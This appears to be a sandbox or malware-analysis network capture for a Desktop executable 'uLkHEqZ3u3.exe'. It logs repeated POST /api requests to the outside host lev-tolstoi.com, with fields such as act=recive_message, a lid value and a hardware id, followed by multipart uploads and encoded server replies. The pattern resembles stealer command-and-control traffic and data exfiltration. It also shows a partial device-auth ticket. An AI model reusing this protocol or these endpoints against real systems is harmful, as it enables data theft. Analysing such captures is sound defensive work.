2024-12-23 05:53:16 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4d 41 48 55 49 36 55 6d 37 45 43 35 69 57 63 55 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 31 37 38 62 30 32 30 34 61 61 35 32 36 66 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: MAHUI6Um7EC5iWcU.2Context: 8178b0204aa526ff<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:53:16 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 4d 41 48 55 49 36 55 6d 37 45 43 35 69 57 63 55 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 31 37 38 62 30 32 30 34 61 61 35 32 36 66 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: MAHUI6Um7EC5iWcU.3Context: 8178b0204aa526ff
2024-12-23 05:53:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:53:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 45 65 35 76 39 4c 74 42 4c 45 75 76 37 72 4c 56 64 4f 68 4f 75 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Ee5v9LtBLEuv7rLVdOhOug.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49711	104.21.66.86	443	5584	C:\Users\user\Desktop\uLkHEqZ3u3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:18 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: lev-tolstoi.com
2024-12-23 05:53:18 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 05:53:19 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cnahqregtsi3bjkbfkl6kdnji0; expires=Thu, 17 Apr 2025 23:39:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vs9YDjRqZVz%2FJpumKuPwdtK36yuwA6QQldtn%2BxzsU6LtdR7Z3cO2FfvP3s7cbDx98mK0wmdEM6G5CRNqgyvt08pn7H5JTqompwFfMEvP%2FWwJjTZG0gFOmSt0PRwQNoycbeM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66172ace5542ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1694&rtt_var=658&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=946&delivery_rate=1634023&cwnd=211&unsent_bytes=0&cid=4fedf549f11e36a0&ts=804&x=0"
2024-12-23 05:53:19 UTC	246	IN	Data Raw: 32 34 62 34 0d 0a 4d 79 2b 72 69 74 31 74 6b 4a 70 78 72 6a 65 76 49 36 6f 69 4e 37 75 50 4e 71 6d 58 55 53 64 54 51 4e 51 62 52 50 62 47 49 4b 70 49 44 64 32 6f 35 31 6d 38 75 41 4c 4c 46 5a 56 58 32 46 64 53 6c 36 31 58 7a 62 56 72 51 54 49 73 70 33 35 6f 31 4c 42 4e 69 41 6c 4a 79 75 61 75 43 4c 79 34 46 4e 59 56 6c 58 6a 52 41 46 4c 56 72 51 79 4c 38 6a 74 46 4d 69 79 32 65 69 2b 5a 74 6b 7a 4a 57 30 50 4d 34 72 67 4f 39 50 73 64 77 31 4c 4b 52 73 74 49 57 64 4c 69 58 73 53 31 66 51 55 32 4f 76 59 68 5a 72 75 6a 56 4d 74 2b 54 74 6a 68 2f 78 43 38 34 56 50 4c 57 59 30 5a 69 45 4e 53 32 65 4e 51 7a 66 77 35 54 7a 73 6b 74 33 38 75 68 71 39 47 77 6c 74 4e 7a 2b 4f 79 42 2b 44 32 46 38 52 5a 7a 45 7a 4c 41 42 75 5a 36 6b 79 4c Data Ascii: 24b4My+rit1tkJpxrjevI6oiN7uPNqmXUSdTQNQbRPbGIKpIDd2o51m8uALLFZVX2FdSl61XzbVrQTIsp35o1LBNiAlJyuauCLy4FNYVlXjRAFLVrQyL8jtFMiy2ei+ZtkzJW0PM4rgO9Psdw1LKRstIWdLiXsS1fQU2OvYhZrujVMt+Ttjh/xC84VPLWY0ZiENS2eNQzfw5Tzskt38uhq9GwltNz+OyB+D2F8RZzEzLABuZ6kyL
2024-12-23 05:53:19 UTC	1369	IN	Data Raw: 72 58 4d 57 41 79 47 6e 61 44 4f 5a 74 45 53 49 54 67 50 51 71 4c 67 44 73 71 42 54 78 46 6e 44 52 4d 74 50 55 74 6a 74 52 73 54 31 4d 45 30 35 4a 72 78 32 4b 5a 75 71 53 4d 39 5a 52 4d 37 6e 75 41 66 30 39 78 43 4d 47 34 31 47 30 41 41 4e 6d 63 31 45 79 50 59 6e 53 43 42 69 71 54 63 2f 31 4b 4e 4f 69 41 6b 4e 7a 2b 61 2b 41 76 4c 71 47 38 64 65 79 46 50 44 53 56 6a 55 37 56 6e 42 2b 6a 42 46 4e 69 69 38 64 69 79 51 71 55 2f 4f 55 55 32 4a 70 76 38 49 36 72 68 4c 6a 48 62 49 55 63 39 4d 51 35 76 58 46 4e 53 37 4b 67 55 32 4c 76 59 68 5a 70 79 68 51 63 74 61 51 73 72 67 74 42 33 79 36 68 58 42 55 4e 39 48 7a 55 35 66 32 76 39 65 78 66 4d 77 54 44 6f 72 73 33 34 69 31 4f 6f 43 7a 30 6b 4e 6b 61 69 65 41 76 6e 30 47 64 74 56 6a 56 36 47 57 52 58 65 34 52 53 Data Ascii: rXMWAyGnaDOZtESITgPQqLgDsqBTxFnDRMtPUtjtRsT1ME05Jrx2KZuqSM9ZRM7nuAf09xCMG41G0AANmc1EyPYnSCBiqTc/1KNOiAkNz+a+AvLqG8deyFPDSVjU7VnB+jBFNii8diyQqU/OUU2Jpv8I6rhLjHbIUc9MQ5vXFNS7KgU2LvYhZpyhQctaQsrgtB3y6hXBUN9HzU5f2v9exfMwTDors34i1OoCz0kNkaieAvn0GdtVjV6GWRXe4RS
2024-12-23 05:53:19 UTC	1369	IN	Data Raw: 44 31 69 2b 44 6b 68 6a 4f 51 61 69 48 74 4f 33 65 75 31 54 63 66 37 48 63 4a 53 32 77 48 58 44 6b 79 5a 36 6c 69 4c 72 58 4e 49 4d 43 71 77 61 79 6d 5a 70 30 7a 47 58 6b 6a 47 34 4c 38 50 2f 2f 30 58 78 31 37 4f 54 4d 78 53 58 39 6e 6c 55 63 72 2f 4f 51 56 2f 59 72 46 68 5a 73 7a 6b 63 39 39 61 44 2f 7a 72 73 51 48 31 37 6c 50 54 47 39 51 42 7a 30 77 56 67 61 31 5a 77 2f 41 32 53 6a 41 6f 75 48 77 73 6d 4b 78 4d 79 30 4e 43 7a 65 69 7a 42 2f 6a 31 48 63 68 64 78 45 72 44 52 6c 58 59 35 78 53 46 74 54 52 64 63 58 72 32 54 53 47 59 71 55 32 4b 5a 45 37 48 35 72 67 5a 73 75 64 64 31 52 58 4b 54 59 67 59 46 64 58 6b 56 4d 44 2f 4e 30 55 32 4c 37 4e 36 49 5a 65 70 52 63 4a 66 53 73 33 6b 74 67 4c 30 2b 42 54 49 55 4e 39 45 77 55 78 5a 6d 61 4d 55 7a 4f 31 7a Data Ascii: D1i+DkhjOQaiHtO3eu1Tcf7HcJS2wHXDkyZ6liLrXNIMCqwaymZp0zGXkjG4L8P//0Xx17OTMxSX9nlUcr/OQV/YrFhZszkc99aD/zrsQH17lPTG9QBz0wVga1Zw/A2SjAouHwsmKxMy0NCzeizB/j1HchdxErDRlXY5xSFtTRdcXr2TSGYqU2KZE7H5rgZsudd1RXKTYgYFdXkVMD/N0U2L7N6IZepRcJfSs3ktgL0+BTIUN9EwUxZmaMUzO1z
2024-12-23 05:53:19 UTC	1369	IN	Data Raw: 46 31 5a 73 7a 6b 53 38 46 44 51 38 66 68 73 67 6e 36 2f 78 33 42 58 73 74 4b 7a 30 64 54 31 4f 56 5a 7a 76 59 79 51 54 73 77 74 58 49 73 6d 61 34 43 68 68 46 4b 30 61 6a 6e 54 39 58 30 4f 74 78 4f 33 31 65 49 58 78 76 41 72 56 50 48 74 57 73 46 4d 69 32 2f 64 69 36 63 71 30 33 4d 58 30 76 50 35 62 6f 41 2b 4f 6f 62 77 6c 6a 47 54 73 4e 53 56 64 54 70 57 4d 2f 39 4f 45 39 78 62 50 5a 2b 50 74 54 38 41 76 31 63 51 73 6e 72 71 55 2f 74 74 67 71 4d 55 73 45 42 6b 41 42 5a 31 2b 31 62 78 2f 6b 34 54 54 41 75 75 48 34 6a 6e 61 78 4b 32 6c 42 4a 77 65 6d 78 41 50 50 38 46 73 6c 52 79 6b 58 4f 54 78 57 58 72 56 50 54 74 57 73 46 48 67 57 44 4f 77 65 75 35 46 32 47 53 41 33 4f 35 50 39 58 73 76 51 51 77 46 33 43 52 38 46 4d 58 39 44 6d 57 4d 44 78 50 30 77 30 4a Data Ascii: F1ZszkS8FDQ8fhsgn6/x3BXstKz0dT1OVZzvYyQTswtXIsma4ChhFK0ajnT9X0OtxO31eIXxvArVPHtWsFMi2/di6cq03MX0vP5boA+OobwljGTsNSVdTpWM/9OE9xbPZ+PtT8Av1cQsnrqU/ttgqMUsEBkABZ1+1bx/k4TTAuuH4jnaxK2lBJwemxAPP8FslRykXOTxWXrVPTtWsFHgWDOweu5F2GSA3O5P9XsvQQwF3CR8FMX9DmWMDxP0w0J
2024-12-23 05:53:19 UTC	1369	IN	Data Raw: 53 74 6b 58 42 51 30 50 45 35 37 63 48 2b 2f 6b 58 79 56 6a 4c 54 63 4a 42 55 74 66 6a 58 49 75 37 63 30 49 70 59 75 34 35 42 34 53 2f 55 4e 35 63 62 4d 54 6e 2f 78 43 38 34 56 50 4c 57 59 30 5a 69 45 6c 48 33 65 42 47 77 76 49 39 53 6a 49 77 74 33 51 74 68 71 4e 4e 7a 46 5a 42 7a 2b 65 35 44 76 66 79 48 38 74 51 78 6b 37 45 41 42 75 5a 36 6b 79 4c 72 58 4e 72 4f 6a 47 68 65 69 69 66 73 6c 6d 49 54 67 50 51 71 4c 67 44 73 71 42 54 7a 31 37 47 52 63 68 4d 56 64 33 67 56 4e 6e 36 4e 45 49 34 4b 61 52 7a 49 5a 4f 76 53 73 4e 65 53 39 76 6b 73 52 33 33 36 67 47 4d 47 34 31 47 30 41 41 4e 6d 64 74 54 32 2b 55 77 42 77 41 30 74 57 38 74 6d 61 67 43 31 78 39 55 69 65 2b 7a 54 36 71 34 46 63 4e 63 7a 6b 37 4a 53 56 6e 55 36 46 33 4f 39 44 56 42 4f 79 69 32 66 79 Data Ascii: StkXBQ0PE57cH+/kXyVjLTcJBUtfjXIu7c0IpYu45B4S/UN5cbMTn/xC84VPLWY0ZiElH3eBGwvI9SjIwt3QthqNNzFZBz+e5DvfyH8tQxk7EABuZ6kyLrXNrOjGheiifslmITgPQqLgDsqBTz17GRchMVd3gVNn6NEI4KaRzIZOvSsNeS9vksR336gGMG41G0AANmdtT2+UwBwA0tW8tmagC1x9Uie+zT6q4FcNczk7JSVnU6F3O9DVBOyi2fy
2024-12-23 05:53:19 UTC	1369	IN	Data Raw: 30 52 46 4b 78 61 6a 6e 54 2f 48 2f 45 4d 31 66 78 45 33 48 52 31 48 4c 35 31 50 5a 39 44 4a 4f 50 43 36 32 64 43 75 65 70 55 76 46 58 55 44 4f 37 37 41 4b 73 72 5a 54 79 30 32 4e 47 59 68 68 57 4e 4c 68 44 35 47 31 4c 41 73 6f 59 72 46 31 5a 73 7a 6b 51 73 4a 55 52 38 54 72 73 41 7a 67 2b 52 58 65 56 63 42 4c 32 6b 70 65 33 4f 42 5a 78 76 59 31 51 7a 6f 75 70 48 41 6d 6c 36 38 43 68 68 46 4b 30 61 6a 6e 54 39 48 76 42 63 5a 53 77 56 66 44 51 56 62 50 34 45 53 4c 75 33 4e 55 4e 6a 50 32 49 54 43 45 73 30 58 58 48 31 53 4a 37 37 4e 50 71 72 67 56 78 56 50 4b 52 38 5a 53 55 4e 2f 69 57 38 4c 38 4e 30 30 79 49 72 4a 39 49 5a 47 6e 54 73 4e 57 54 73 62 73 74 67 48 37 39 31 4f 43 46 63 70 5a 69 42 67 56 2b 50 5a 58 78 2f 68 7a 57 6e 38 37 39 6e 34 71 31 50 77 Data Ascii: 0RFKxajnT/H/EM1fxE3HR1HL51PZ9DJOPC62dCuepUvFXUDO77AKsrZTy02NGYhhWNLhD5G1LAsoYrF1ZszkQsJUR8TrsAzg+RXeVcBL2kpe3OBZxvY1QzoupHAml68ChhFK0ajnT9HvBcZSwVfDQVbP4ESLu3NUNjP2ITCEs0XXH1SJ77NPqrgVxVPKR8ZSUN/iW8L8N00yIrJ9IZGnTsNWTsbstgH791OCFcpZiBgV+PZXx/hzWn879n4q1Pw
2024-12-23 05:53:19 UTC	1369	IN	Data Raw: 65 6e 6a 71 51 72 31 37 6c 48 35 56 73 4e 50 7a 31 59 56 78 74 49 61 69 2f 6f 70 42 57 6b 62 72 7a 6b 68 6d 4f 51 61 69 45 52 4b 79 65 2b 6c 47 66 58 30 41 73 64 59 77 57 50 48 52 30 50 61 34 6c 66 61 2f 48 39 4f 50 47 4c 34 4f 53 47 4d 35 42 71 49 66 6b 72 66 36 35 41 4d 34 2f 46 54 67 68 58 4b 56 34 67 59 46 65 65 74 52 73 6a 6c 4d 45 6f 67 48 50 59 68 50 36 72 6b 53 64 35 57 58 63 72 2b 74 41 4c 2b 36 53 32 4d 44 5a 6b 54 6d 68 49 48 69 2f 49 55 31 4d 70 39 42 54 42 69 37 6b 41 2f 31 4c 49 43 6b 41 4d 44 69 66 72 2f 56 37 4b 2f 45 4e 35 48 79 30 4c 65 51 78 4c 6e 30 33 50 64 2f 7a 52 56 4e 6a 57 35 4f 57 6a 55 71 77 4b 51 61 41 33 41 37 36 51 65 35 50 55 44 79 78 58 79 44 34 68 59 46 59 47 74 59 63 6a 37 50 55 49 6e 4d 2f 74 65 4d 4a 36 6a 55 73 39 47 Data Ascii: enjqQr17lH5VsNPz1YVxtIai/opBWkbrzkhmOQaiERKye+lGfX0AsdYwWPHR0Pa4lfa/H9OPGL4OSGM5BqIfkrf65AM4/FTghXKV4gYFeetRsjlMEogHPYhP6rkSd5WXcr+tAL+6S2MDZkTmhIHi/IU1Mp9BTBi7kA/1LICkAMDifr/V7K/EN5Hy0LeQxLn03Pd/zRVNjW5OWjUqwKQaA3A76Qe5PUDyxXyD4hYFYGtYcj7PUInM/teMJ6jUs9G
2024-12-23 05:53:19 UTC	944	IN	Data Raw: 4d 42 2b 66 67 55 33 45 50 57 44 63 42 44 54 38 50 54 61 75 44 35 4e 55 49 72 4a 62 42 66 42 74 54 71 41 73 63 52 46 66 43 6f 39 30 2f 4e 74 6c 50 55 46 5a 55 42 2f 55 4e 62 31 2b 70 43 32 72 67 62 5a 67 73 59 39 46 55 68 67 65 5a 32 7a 30 46 63 77 75 57 7a 54 37 79 34 46 59 77 4e 6e 51 2b 49 52 45 53 5a 74 51 53 5a 72 6d 59 57 5a 6e 4c 6b 5a 6d 69 4e 35 46 53 49 43 52 2b 48 71 4b 31 50 71 72 68 55 7a 30 66 66 52 38 74 57 56 70 37 54 61 75 7a 37 4e 45 51 6e 4d 71 46 32 47 4b 71 78 51 63 5a 66 53 74 2f 35 2f 30 47 79 39 31 4f 55 62 49 30 4a 69 48 38 62 6d 66 55 55 6b 37 55 47 52 6a 38 73 73 57 38 33 32 59 4e 4d 7a 31 42 62 32 66 2b 77 54 37 79 34 46 59 77 4e 6e 77 2b 49 52 45 53 5a 74 51 53 5a 72 6d 59 57 5a 6e 4c 6b 5a 6d 69 4e 35 46 53 49 43 52 2b 48 71 Data Ascii: MB+fgU3EPWDcBDT8PTauD5NUIrJbBfBtTqAscRFfCo90/NtlPUFZUB/UNb1+pC2rgbZgsY9FUhgeZ2z0FcwuWzT7y4FYwNnQ+IRESZtQSZrmYWZnLkZmiN5FSICR+HqK1PqrhUz0ffR8tWVp7Tauz7NEQnMqF2GKqxQcZfSt/5/0Gy91OUbI0JiH8bmfUUk7UGRj8ssW832YNMz1Bb2f+wT7y4FYwNnw+IRESZtQSZrmYWZnLkZmiN5FSICR+Hq
2024-12-23 05:53:19 UTC	1369	IN	Data Raw: 32 34 36 38 0d 0a 36 68 58 50 51 38 34 47 39 6e 35 7a 32 75 70 53 79 50 73 6b 56 48 4d 4e 74 58 49 71 6d 4b 4e 55 39 6d 39 59 79 75 61 78 43 4f 54 70 55 34 49 56 77 67 47 51 65 52 58 49 35 31 4f 48 76 58 39 55 49 69 79 39 62 79 48 55 6d 77 79 49 53 51 32 52 71 49 6f 4d 2f 50 59 55 32 6b 53 41 5a 38 74 48 55 39 72 6a 51 39 71 31 66 51 55 33 59 75 34 72 61 4e 53 67 55 34 67 4a 48 5a 75 7a 36 6c 79 6c 71 45 48 54 47 39 51 42 33 67 41 4e 69 71 4d 55 32 62 56 72 42 58 59 73 75 33 67 6c 6d 71 64 51 32 6c 64 4f 33 2b 76 34 4d 63 7a 64 48 73 46 51 77 30 62 32 66 6e 54 54 2f 56 6e 45 38 67 31 37 42 6a 4f 78 61 57 53 79 70 31 54 4c 45 51 4f 4a 38 50 39 58 73 74 6b 5a 33 46 6a 43 52 6f 67 4f 46 64 32 74 44 49 76 51 50 6b 67 30 4c 4c 45 37 42 35 36 30 54 38 64 57 44 Data Ascii: 24686hXPQ84G9n5z2upSyPskVHMNtXIqmKNU9m9YyuaxCOTpU4IVwgGQeRXI51OHvX9UIiy9byHUmwyISQ2RqIoM/PYU2kSAZ8tHU9rjQ9q1fQU3Yu4raNSgU4gJHZuz6lylqEHTG9QB3gANiqMU2bVrBXYsu3glmqdQ2ldO3+v4MczdHsFQw0b2fnTT/VnE8g17BjOxaWSyp1TLEQOJ8P9XstkZ3FjCRogOFd2tDIvQPkg0LLE7B560T8dWD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49713	104.21.66.86	443	5584	C:\Users\user\Desktop\uLkHEqZ3u3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:20 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CFVZJE4ARTCI548S4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12853 Host: lev-tolstoi.com
2024-12-23 05:53:20 UTC	12853	OUT	Data Raw: 2d 2d 43 46 56 5a 4a 45 34 41 52 54 43 49 35 34 38 53 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 46 30 39 32 39 45 38 39 45 36 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 46 56 5a 4a 45 34 41 52 54 43 49 35 34 38 53 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 46 56 5a 4a 45 34 41 52 54 43 49 35 34 38 53 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --CFVZJE4ARTCI548S4Content-Disposition: form-data; name="hwid"EAF0929E89E63B7BAC8923850305D13E--CFVZJE4ARTCI548S4Content-Disposition: form-data; name="pid"2--CFVZJE4ARTCI548S4Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-23 05:53:21 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5oc84smd9bo5hhopfi6aj3njgo; expires=Thu, 17 Apr 2025 23:40:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VsHlQsDdtC4qunDfwNP95W6b1zqRNMzO76zLtfiBB1jEH0t4PIi1khME6fDkofwVTv%2FuvhXDysx4rzkh1Qmm7x2PoBQJvI4dw465a38qIdNyIj3AtIgAjqWUm8D8wuzNhDM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66173b18340f7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1520&min_rtt=1476&rtt_var=585&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2834&recv_bytes=13791&delivery_rate=1978319&cwnd=229&unsent_bytes=0&cid=38326c67084230f4&ts=888&x=0"
2024-12-23 05:53:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 05:53:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49719	104.21.66.86	443	5584	C:\Users\user\Desktop\uLkHEqZ3u3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:23 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YDCO6UNB6H76 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15069 Host: lev-tolstoi.com
2024-12-23 05:53:23 UTC	15069	OUT	Data Raw: 2d 2d 59 44 43 4f 36 55 4e 42 36 48 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 46 30 39 32 39 45 38 39 45 36 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 44 43 4f 36 55 4e 42 36 48 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 44 43 4f 36 55 4e 42 36 48 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 59 44 43 4f 36 55 4e 42 36 48 37 36 0d 0a Data Ascii: --YDCO6UNB6H76Content-Disposition: form-data; name="hwid"EAF0929E89E63B7BAC8923850305D13E--YDCO6UNB6H76Content-Disposition: form-data; name="pid"2--YDCO6UNB6H76Content-Disposition: form-data; name="lid"PsFKDg--pablo--YDCO6UNB6H76
2024-12-23 05:53:24 UTC	1130	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uovmbcigsspsspnsq9qrn00a8q; expires=Thu, 17 Apr 2025 23:40:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PC46m1JH7a45irpxenoY%2FwOG2fPbsVT4SWoAmxNAz2Y2GbNRmtDYKOiCCOS%2Bszs1F1wZhOnEYvjB8Hu7ieDxvyDfGULz%2FutJH3bNG9GMP%2BgDNJgWBhNRVcp30a0vrxixL8E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6617491984de97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7400&min_rtt=1555&rtt_var=4197&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2834&recv_bytes=16002&delivery_rate=1877813&cwnd=231&unsent_bytes=0&cid=e195c6ebb5449de6&ts=819&x=0"
2024-12-23 05:53:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 05:53:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49725	104.21.66.86	443	5584	C:\Users\user\Desktop\uLkHEqZ3u3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:25 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1DDP9JUQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19903 Host: lev-tolstoi.com
2024-12-23 05:53:25 UTC	15331	OUT	Data Raw: 2d 2d 31 44 44 50 39 4a 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 46 30 39 32 39 45 38 39 45 36 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 44 44 50 39 4a 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 31 44 44 50 39 4a 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 31 44 44 50 39 4a 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --1DDP9JUQContent-Disposition: form-data; 